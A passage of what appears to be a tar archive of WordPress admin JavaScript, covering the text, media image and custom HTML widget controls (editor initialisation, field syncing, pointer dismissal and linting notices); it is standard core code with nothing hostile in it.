'.wp-pointer.custom-html-widget-pointer' ); if ( control.customHtmlWidgetPointer.length ) { control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); $( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' ); control.dismissPointers( [ 'text_widget_custom_html' ] ); }); control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) { event.preventDefault(); control.customHtmlWidgetPointer.hide(); control.openAvailableWidgetsPanel(); }); } control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' ); if ( control.pasteHtmlPointer.length ) { control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) { event.preventDefault(); control.pasteHtmlPointer.hide(); control.editor.focus(); control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] ); }); } control.fields = { title: control.$el.find( '.title' ), text: control.$el.find( '.text' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Dismiss pointers for Custom HTML widget. * * @since 4.8.1 * * @param {Array} pointers Pointer IDs to dismiss. * @return {void} */ dismissPointers: function dismissPointers( pointers ) { _.each( pointers, function( pointer ) { wp.ajax.post( 'dismiss-wp-pointer', { pointer: pointer }); component.dismissedPointers.push( pointer ); }); }, /** * Open available widgets panel. * * @since 4.8.1 * @return {void} */ openAvailableWidgetsPanel: function openAvailableWidgetsPanel() { var sidebarControl; wp.customize.section.each( function( section ) { if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) { sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' ); } }); if ( ! sidebarControl ) { return; } setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse. wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl ); wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } syncInput = control.syncContainer.find( '.sync-input.text' ); if ( control.fields.text.is( ':visible' ) ) { if ( ! control.fields.text.is( document.activeElement ) ) { control.fields.text.val( syncInput.val() ); } } else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) { control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue; textarea = control.fields.text; id = textarea.attr( 'id' ); previousValue = textarea.val(); /** * Trigger change if dirty. * * @return {void} */ triggerChangeIfDirty = function() { var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced. if ( control.editor.isDirty() ) { /* * Account for race condition in customizer where user clicks Save & Publish while * focus was just previously given to the editor. Since updates to the editor * are debounced at 1 second and since widget input changes are only synced to * settings after 250ms, the customizer needs to be put into the processing * state during the time between the change event is triggered and updateWidget * logic starts. Note that the debounced update-widget request should be able * to be removed with the removal of the update-widget request entirely once * widgets are able to mutate their own instance props directly in JS without * having to make server round-trips to call the respective WP_Widget::update() * callbacks. See <https://core.trac.wordpress.org/ticket/33507>. */ if ( wp.customize && wp.customize.state ) { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 ); _.delay( function() { wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 ); }, updateWidgetBuffer ); } if ( ! control.editor.isHidden() ) { control.editor.save(); } } // Trigger change on textarea when it has changed so the widget can enter a dirty state. if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) { textarea.trigger( 'change' ); needsTextareaChangeTrigger = false; previousValue = textarea.val(); } }; // Just-in-time force-update the hidden input fields. control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() { triggerChangeIfDirty(); }); /** * Build (or re-build) the visual editor. * * @return {void} */ function buildEditor() { var editor, onInit, showPointerElement; // Abort building if the textarea is gone, likely due to the widget having been deleted entirely. if ( ! document.getElementById( id ) ) { return; } // The user has disabled TinyMCE. if ( typeof window.tinymce === 'undefined' ) { wp.oldEditor.initialize( id, { quicktags: true, mediaButtons: true }); return; } // Destroy any existing editor so that it can be re-initialized after a widget-updated event. if ( tinymce.get( id ) ) { restoreTextMode = tinymce.get( id ).isHidden(); wp.oldEditor.remove( id ); } // Add or enable the `wpview` plugin. $( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) { // If somebody has removed all plugins, they must have a good reason. // Keep it that way. if ( ! init.plugins ) { return; } else if ( ! /\bwpview\b/.test( init.plugins ) ) { init.plugins += ',wpview'; } } ); wp.oldEditor.initialize( id, { tinymce: { wpautop: true }, quicktags: true, mediaButtons: true }); /** * Show a pointer, focus on dismiss, and speak the contents for a11y. * * @param {jQuery} pointerElement Pointer element. * @return {void} */ showPointerElement = function( pointerElement ) { pointerElement.show(); pointerElement.find( '.close' ).trigger( 'focus' ); wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() { return $( this ).text(); } ).get().join( '\n\n' ) ); }; editor = window.tinymce.get( id ); if ( ! editor ) { throw new Error( 'Failed to initialize editor' ); } onInit = function() { // When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built. $( editor.getWin() ).on( 'pagehide', function() { _.defer( buildEditor ); }); // If a prior mce instance was replaced, and it was in text mode, toggle to text mode. if ( restoreTextMode ) { switchEditors.go( id, 'html' ); } // Show the pointer. $( '#' + id + '-html' ).on( 'click', function() { control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer. if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) { return; } showPointerElement( control.customHtmlWidgetPointer ); }); // Hide the pointer when switching tabs. $( '#' + id + '-tmce' ).on( 'click', function() { control.customHtmlWidgetPointer.hide(); }); // Show pointer when pasting HTML. editor.on( 'pastepreprocess', function( event ) { var content = event.content; if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /<\w+.*?>/.test( content ) ) { return; } // Show the pointer after a slight delay so the user sees what they pasted. _.delay( function() { showPointerElement( control.pasteHtmlPointer ); }, 250 ); }); }; if ( editor.initialized ) { onInit(); } else { editor.on( 'init', onInit ); } control.editorFocused = false; editor.on( 'focus', function onEditorFocus() { control.editorFocused = true; }); editor.on( 'paste', function onEditorPaste() { editor.setDirty( true ); // Because pasting doesn't currently set the dirty state. triggerChangeIfDirty(); }); editor.on( 'NodeChange', function onNodeChange() { needsTextareaChangeTrigger = true; }); editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) ); editor.on( 'blur hide', function onEditorBlur() { control.editorFocused = false; triggerChangeIfDirty(); }); control.editor = editor; } buildEditor(); } }); /** * Mapping of widget ID to instances of TextWidgetControl subclasses. * * @memberOf wp.textWidgets * * @type {Object.<string, wp.textWidgets.TextWidgetControl>} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @memberOf wp.textWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Prevent initializing already-added widgets. widgetId = widgetForm.find( '.widget-id' ).val(); if ( component.widgetControls[ widgetId ] ) { return; } // Bypass using TinyMCE when widget is in legacy mode. if ( ! widgetForm.find( '.visual' ).val() ) { return; } /* * Create a container element for the widget control fields. * This is inserted into the DOM immediately before the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '<div></div>' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); widgetControl = new component.TextWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); component.widgetControls[ widgetId ] = widgetControl; /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the textarea is visible and an iframe can be embedded * with TinyMCE being able to set contenteditable on it. */ renderWhenAnimationDone = function() { if ( ! widgetContainer.hasClass( 'open' ) ) { setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.initializeEditor(); } }; renderWhenAnimationDone(); }; /** * Setup widget in accessibility mode. * * @memberOf wp.textWidgets * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, idBase, widgetControl, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Bypass using TinyMCE when widget is in legacy mode. if ( ! widgetForm.find( '.visual' ).val() ) { return; } fieldContainer = $( '<div></div>' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); widgetControl = new component.TextWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); widgetControl.initializeEditor(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @memberOf wp.textWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetId, widgetControl, idBase; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } widgetControl.updateFields(); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.textWidgets.init(). * * @memberOf wp.textWidgets * * @return {void} */ component.init = function init() { var $document = $( document ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. component.setupAccessibleMode(); }); }; return component; })( jQuery ); widgets/media-image-widget.js 0000644 00000012534 15222552267 0012205 0 ustar 00 /** * @output wp-admin/js/widgets/media-image-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component, $ ) { 'use strict'; var ImageWidgetModel, ImageWidgetControl; /** * Image widget model. * * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_image * @augments wp.mediaWidgets.MediaWidgetModel */ ImageWidgetModel = component.MediaWidgetModel.extend({}); /** * Image widget control. * * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetControl */ ImageWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_image.prototype */{ /** * View events. * * @type {object} */ events: _.extend( {}, component.MediaWidgetControl.prototype.events, { 'click .media-widget-preview.populated': 'editMedia' } ), /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, fieldsContainer, fieldsTemplate, linkInput; if ( ! control.model.get( 'attachment_id' ) && ! control.model.get( 'url' ) ) { return; } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-image-preview' ); previewContainer.html( previewTemplate( control.previewTemplateProps.toJSON() ) ); previewContainer.addClass( 'populated' ); linkInput = control.$el.find( '.link' ); if ( ! linkInput.is( document.activeElement ) ) { fieldsContainer = control.$el.find( '.media-widget-fields' ); fieldsTemplate = wp.template( 'wp-media-widget-image-fields' ); fieldsContainer.html( fieldsTemplate( control.previewTemplateProps.toJSON() ) ); } }, /** * Open the media image-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, updateCallback, defaultSync, metadata; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Needed or else none will not be selected if linkUrl is not also empty. if ( 'none' === metadata.link ) { metadata.linkUrl = ''; } // Set up the media frame. mediaFrame = wp.media({ frame: 'image', state: 'image-details', metadata: metadata }); mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function() { var mediaProps, linkType; // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. mediaProps = mediaFrame.state().attributes.image.toJSON(); linkType = mediaProps.link; mediaProps.link = mediaProps.linkUrl; control.selectedAttachment.set( mediaProps ); control.displaySettings.set( 'link', linkType ); control.model.set( _.extend( control.mapMediaToModelProps( mediaProps ), { error: false } ) ); }; mediaFrame.state( 'image-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-image' ).on( 'replace', updateCallback ); // Disable syncing of attachment changes back to server. See <https://core.trac.wordpress.org/ticket/40403>. defaultSync = wp.media.model.Attachment.prototype.sync; wp.media.model.Attachment.prototype.sync = function rejectedSync() { return $.Deferred().rejectWith( this ).promise(); }; mediaFrame.on( 'close', function onClose() { mediaFrame.detach(); wp.media.model.Attachment.prototype.sync = defaultSync; }); mediaFrame.open(); }, /** * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment). * * @return {Object} Reset/override props. */ getEmbedResetProps: function getEmbedResetProps() { return _.extend( component.MediaWidgetControl.prototype.getEmbedResetProps.call( this ), { size: 'full', width: 0, height: 0 } ); }, /** * Get the instance props from the media selection frame. * * Prevent the image_title attribute from being initially set when adding an image from the media library. * * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame. * @return {Object} Props. */ getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) { var control = this; return _.omit( component.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call( control, mediaFrame ), 'image_title' ); }, /** * Map model props to preview template props. * * @return {Object} Preview template props. */ mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() { var control = this, previewTemplateProps, url; url = control.model.get( 'url' ); previewTemplateProps = component.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call( control ); previewTemplateProps.currentFilename = url ? url.replace( /\?.*$/, '' ).replace( /^.+\//, '' ) : ''; previewTemplateProps.link_url = control.model.get( 'link_url' ); return previewTemplateProps; } }); // Exports. component.controlConstructors.media_image = ImageWidgetControl; component.modelConstructors.media_image = ImageWidgetModel; })( wp.mediaWidgets, jQuery ); widgets/media-image-widget.min.js 0000644 00000003750 15222552267 0012767 0 ustar 00 /*! This file is auto-generated */ !function(a,o){"use strict";var e=a.MediaWidgetModel.extend({}),t=a.MediaWidgetControl.extend({events:_.extend({},a.MediaWidgetControl.prototype.events,{"click .media-widget-preview.populated":"editMedia"}),renderPreview:function(){var e,t,i=this;(i.model.get("attachment_id")||i.model.get("url"))&&(t=i.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-image-preview"),t.html(e(i.previewTemplateProps.toJSON())),t.addClass("populated"),i.$el.find(".link").is(document.activeElement)||(e=i.$el.find(".media-widget-fields"),t=wp.template("wp-media-widget-image-fields"),e.html(t(i.previewTemplateProps.toJSON()))))},editMedia:function(){var i,e,a=this,t=a.mapModelToMediaFrameProps(a.model.toJSON());"none"===t.link&&(t.linkUrl=""),(i=wp.media({frame:"image",state:"image-details",metadata:t})).$el.addClass("media-widget"),t=function(){var e=i.state().attributes.image.toJSON(),t=e.link;e.link=e.linkUrl,a.selectedAttachment.set(e),a.displaySettings.set("link",t),a.model.set(_.extend(a.mapMediaToModelProps(e),{error:!1}))},i.state("image-details").on("update",t),i.state("replace-image").on("replace",t),e=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(){return o.Deferred().rejectWith(this).promise()},i.on("close",function(){i.detach(),wp.media.model.Attachment.prototype.sync=e}),i.open()},getEmbedResetProps:function(){return _.extend(a.MediaWidgetControl.prototype.getEmbedResetProps.call(this),{size:"full",width:0,height:0})},getModelPropsFromMediaFrame:function(e){return _.omit(a.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call(this,e),"image_title")},mapModelToPreviewTemplateProps:function(){var e=this,t=e.model.get("url"),i=a.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call(e);return i.currentFilename=t?t.replace(/\?.*$/,"").replace(/^.+\//,""):"",i.link_url=e.model.get("link_url"),i}});a.controlConstructors.media_image=t,a.modelConstructors.media_image=e}(wp.mediaWidgets,jQuery); widgets/custom-html-widgets.js 0000644 00000036617 15222552267 0012515 0 ustar 00 /** * @output wp-admin/js/widgets/custom-html-widgets.js */ /* global wp */ /* eslint consistent-this: [ "error", "control" ] */ /* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */ /** * @namespace wp.customHtmlWidget * @memberOf wp */ wp.customHtmlWidgets = ( function( $ ) { 'use strict'; var component = { idBases: [ 'custom_html' ], codeEditorSettings: {}, l10n: { errorNotice: { singular: '', plural: '' } } }; component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{ /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val(); control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val(); control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']'; control.$el.addClass( 'custom-html-widget-fields' ); control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) ); control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' ); control.currentErrorAnnotations = []; control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' ); control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting. control.fields = { title: control.$el.find( '.title' ), content: control.$el.find( '.content' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } /* * Prevent updating content when the editor is focused or if there are current error annotations, * to prevent the editor's contents from getting sanitized as soon as a user removes focus from * the editor. This is particularly important for users who cannot unfiltered_html. */ control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length; if ( ! control.contentUpdateBypassed ) { syncInput = control.syncContainer.find( '.sync-input.content' ); control.fields.content.val( syncInput.val() ); } }, /** * Show linting error notice. * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ updateErrorNotice: function( errorAnnotations ) { var control = this, errorNotice, message = '', customizeSetting; if ( 1 === errorAnnotations.length ) { message = component.l10n.errorNotice.singular.replace( '%d', '1' ); } else if ( errorAnnotations.length > 1 ) { message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) ); } if ( control.fields.content[0].setCustomValidity ) { control.fields.content[0].setCustomValidity( message ); } if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) { customizeSetting = wp.customize( control.customizeSettingId ); customizeSetting.notifications.remove( 'htmlhint_error' ); if ( 0 !== errorAnnotations.length ) { customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', { message: message, type: 'error' } ) ); } } else if ( 0 !== errorAnnotations.length ) { errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' ); errorNotice.append( $( '<p></p>', { text: message } ) ); control.errorNoticeContainer.empty(); control.errorNoticeContainer.append( errorNotice ); control.errorNoticeContainer.slideDown( 'fast' ); wp.a11y.speak( message ); } else { control.errorNoticeContainer.slideUp( 'fast' ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, settings; if ( component.codeEditorSettings.disabled ) { return; } settings = _.extend( {}, component.codeEditorSettings, { /** * Handle tabbing to the field before the editor. * * @ignore * * @return {void} */ onTabPrevious: function onTabPrevious() { control.fields.title.focus(); }, /** * Handle tabbing to the field after the editor. * * @ignore * * @return {void} */ onTabNext: function onTabNext() { var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' ); tabbables.first().focus(); }, /** * Disable save button and store linting errors for use in updateFields. * * @ignore * * @param {Array} errorAnnotations - Error notifications. * @return {void} */ onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) { control.currentErrorAnnotations = errorAnnotations; }, /** * Update error notice. * * @ignore * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) { control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 ); control.updateErrorNotice( errorAnnotations ); } }); control.editor = wp.codeEditor.initialize( control.fields.content, settings ); // Improve the editor accessibility. $( control.editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': control.fields.content[0].id + '-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() { control.editor.codemirror.focus(); }); control.fields.content.on( 'change', function() { if ( this.value !== control.editor.codemirror.getValue() ) { control.editor.codemirror.setValue( this.value ); } }); control.editor.codemirror.on( 'change', function() { var value = control.editor.codemirror.getValue(); if ( value !== control.fields.content.val() ) { control.fields.content.val( value ).trigger( 'change' ); } }); // Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused. control.editor.codemirror.on( 'blur', function() { if ( control.contentUpdateBypassed ) { control.syncContainer.find( '.sync-input.content' ).trigger( 'change' ); } }); // Prevent hitting Esc from collapsing the widget control. if ( wp.customize ) { control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) { var escKeyCode = 27; if ( escKeyCode === event.keyCode ) { event.stopPropagation(); } }); } } }); /** * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses. * * @alias wp.customHtmlWidgets.widgetControls * * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @alias wp.customHtmlWidgets.handleWidgetAdded * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Prevent initializing already-added widgets. widgetId = widgetForm.find( '.widget-id' ).val(); if ( component.widgetControls[ widgetId ] ) { return; } /* * Create a container element for the widget control fields. * This is inserted into the DOM immediately before the the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '<div></div>' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); widgetControl = new component.CustomHtmlWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); component.widgetControls[ widgetId ] = widgetControl; /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the textarea is visible and the editor can be initialized. */ renderWhenAnimationDone = function() { if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://core.trac.wordpress.org/changeset/41260 setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.initializeEditor(); } }; renderWhenAnimationDone(); }; /** * Setup widget in accessibility mode. * * @alias wp.customHtmlWidgets.setupAccessibleMode * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, idBase, widgetControl, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } fieldContainer = $( '<div></div>' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); widgetControl = new component.CustomHtmlWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); widgetControl.initializeEditor(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @alias wp.customHtmlWidgets.handleWidgetUpdated * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetId, widgetControl, idBase; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } widgetControl.updateFields(); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.textWidgets.init(). * * @alias wp.customHtmlWidgets.init * * @param {Object} settings - Options for code editor, exported from PHP. * * @return {void} */ component.init = function init( settings ) { var $document = $( document ); _.extend( component.codeEditorSettings, settings ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. if ( document.readyState === 'complete' ) { // Page is fully loaded. component.setupAccessibleMode(); } else { // Page is still loading. $( window ).on( 'load', function() { component.setupAccessibleMode(); }); } }); }; return component; })( jQuery ); widgets/media-gallery-widget.js 